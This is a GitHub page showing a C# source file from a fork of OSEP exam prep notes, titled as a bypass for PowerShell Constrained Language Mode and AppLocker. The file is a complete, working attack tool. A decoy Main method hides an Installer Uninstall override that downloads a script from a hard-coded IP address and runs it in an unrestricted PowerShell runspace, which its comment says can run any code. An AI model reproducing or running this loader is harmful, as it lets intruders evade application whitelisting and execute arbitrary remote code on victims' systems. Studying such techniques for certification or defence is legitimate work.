forked from onurgule/OSEP-Prep-Notes
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathBypass_CLM_And_AppLocker_Dynamically.cs
34 lines (33 loc) · 1.06 KB
/
Bypass_CLM_And_AppLocker_Dynamically.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("This is the main method which is a decoy");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
string url = "http://192.168.45.233/text_run.txt"; // Changes dynamically with webserver. You can run any code with it.
string contents;
using (var wc = new System.Net.WebClient())
contents = wc.DownloadString(url);
String cmd = contents;
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}